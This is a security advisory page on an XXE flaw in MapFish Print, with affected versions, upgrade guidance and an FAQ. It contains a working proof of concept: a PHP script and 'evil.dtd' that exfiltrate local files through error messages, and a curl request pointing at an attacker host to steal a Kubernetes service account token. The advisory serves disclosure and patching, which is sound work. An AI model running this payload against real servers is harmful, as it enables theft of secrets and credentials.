GHSA-5v29-34h8-v68r: XEE

Published Aug 28, 2026
·
Updated

Summary XXE on MapFish Print allows reading arbitrary files of certain types. Eg /etc/passwd or k8 secrets and certs.

https://github.com/mapfish/mapfish-print/commit/13020c0fbc299e5f604e4e66066311c4bf04d507

Details To trigger the XXE it is required to host a remote script and dtd file. When using the Print feature its possible to send the attacker server url as url of the gml layer.

The 404 not found path when using the gml Layer will expand the content of the file as path and throw a default 404 with the full content as path.

PoC Host this php file somewhere as xxe.php:

<?php $p=$GET['p']; $d=dirname($SERVER['SCRIPTNAME']); $u=(empty($SERVER['HTTPS'])?'http':'https')."://{$SERVER['HTTPHOST']}$d/evil.dtd"; header('Content-Type: application/xml'); echo "<?xml version=\"1.0\"?> <!DOCTYPE x [ <!ENTITY % payload SYSTEM \"file://$p\"> <!ENTITY % dtd SYSTEM \"$u\"> %dtd; ]> <wfs:FeatureCollection xmlns:wfs=\"http://www.opengis.net/wfs\" xmlns:gml=\"http://www.opengis.net/gml\"> <!-- ".strrepeat('x',200)." --> <gml:boundedBy><gml:null>unknown</gml:null></gml:boundedBy> </wfs:FeatureCollection>";

and beneath host this "evil.dtd"

<!ENTITY % exfil "<!ENTITY &#37; error SYSTEM 'file:///xxe-exfil/%payload;'>"> %exfil; %error;

Now send a single curl request against your mapfish print server and include your hosted poc url as gml layer url with the path attached you would like to exfil. It will exfil /var/run/secrets/kubernetes.io/serviceaccount/token (most likely your local test setup wont have it, then just replace the path with /etc/passwd or similar plain files)

curl -sk 'https://mapfish/api/print3/print/mapviewer/buildreport.pdf' \ -H 'Content-Type: application/json' \ -d '{"layout":"1. A4 landscape","attributes":{"printDate":"a","url":"","copyright":"","qrimage":"","map":{"projection":"EPSG:2056","rotation":0,"dpi":96,"center":[2600000,1200000],"scale":100000,"layers":[{"type":"gml","url":"https://attacker.ch/xxe.php?p=/var/run/secrets/kubernetes.io/serviceaccount/token"}]}},"outputFormat":"pdf"}'

Its also noteworthy that when you use just a path with slash in the end /tmp/ for example - it will literally list the files and output this for you.

It is actually also possible to trigger an SSRF and request internal URLs if you'd change the file:// prefix in the dtd to https://

Impact disclose local files. blind(ish) SSRF (depends on the servers response data)

Affected Software

9 affected componentsFixes available
maven/org.mapfish.print:print-servlet>=3.34.0<4.0.5
4.0.5
maven/org.mapfish.print:print-lib>=3.34.0<4.0.5
4.0.5
maven/org.mapfish.print:print-servlet>=3.32.0<3.33.16
3.33.16
maven/org.mapfish.print:print-lib>=3.32.0<3.33.16
3.33.16
maven/org.mapfish.print:print-servlet>=3.31.0<3.31.24
3.31.24
maven/org.mapfish.print:print-servlet>=3.29.0<3.30.32
3.30.32
maven/org.mapfish.print:print-lib>=3.29.0<3.30.32
3.30.32
maven/org.mapfish:print.print-servlet>=3.0.0<3.28.30
3.28.30
maven/org.mapfish.print:print-lib>=3.0.0<3.28.30
3.28.30

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade maven/org.mapfish.print:print-servlet to a version that resolves this vulnerability.

    Fixed in 4.0.5
  2. Upgrade

    Upgrade maven/org.mapfish.print:print-lib to a version that resolves this vulnerability.

    Fixed in 4.0.5
  3. Upgrade

    Upgrade maven/org.mapfish.print:print-servlet to a version that resolves this vulnerability.

    Fixed in 3.33.16
  4. Upgrade

    Upgrade maven/org.mapfish.print:print-lib to a version that resolves this vulnerability.

    Fixed in 3.33.16
  5. Upgrade

    Upgrade maven/org.mapfish.print:print-servlet to a version that resolves this vulnerability.

    Fixed in 3.31.24
  6. Upgrade

    Upgrade maven/org.mapfish.print:print-servlet to a version that resolves this vulnerability.

    Fixed in 3.30.32
  7. Upgrade

    Upgrade maven/org.mapfish.print:print-lib to a version that resolves this vulnerability.

    Fixed in 3.30.32
  8. Upgrade

    Upgrade maven/org.mapfish:print.print-servlet to a version that resolves this vulnerability.

    Fixed in 3.28.30
  9. Upgrade

    Upgrade maven/org.mapfish.print:print-lib to a version that resolves this vulnerability.

    Fixed in 3.28.30

Event History

Aug 28, 2026
Advisory Published
via GitHub·10:33 PM
Data Sourced
via GitHub·10:33 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which deployments are exposed?

Deployments using the MapFish Print feature with a GML layer are exposed when an attacker can supply a URL for that GML layer. The affected software entries are org.mapfish.print:print-servlet, org.mapfish.print:print-lib, and org.mapfish:print.print-servlet.

2

What does an attacker need to exploit this issue?

The attacker needs to host a remote script and DTD file, then provide the attacker-controlled server URL as the GML layer URL when using the Print feature. No authentication or user interaction is indicated by the supplied vector.

3

What is the practical impact of successful exploitation?

An attacker can read arbitrary local files of certain types, including examples such as /etc/passwd, Kubernetes secrets, and certificates. File contents are exposed through a default 404 response after the GML layer's not-found path expands the file content into the response path.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203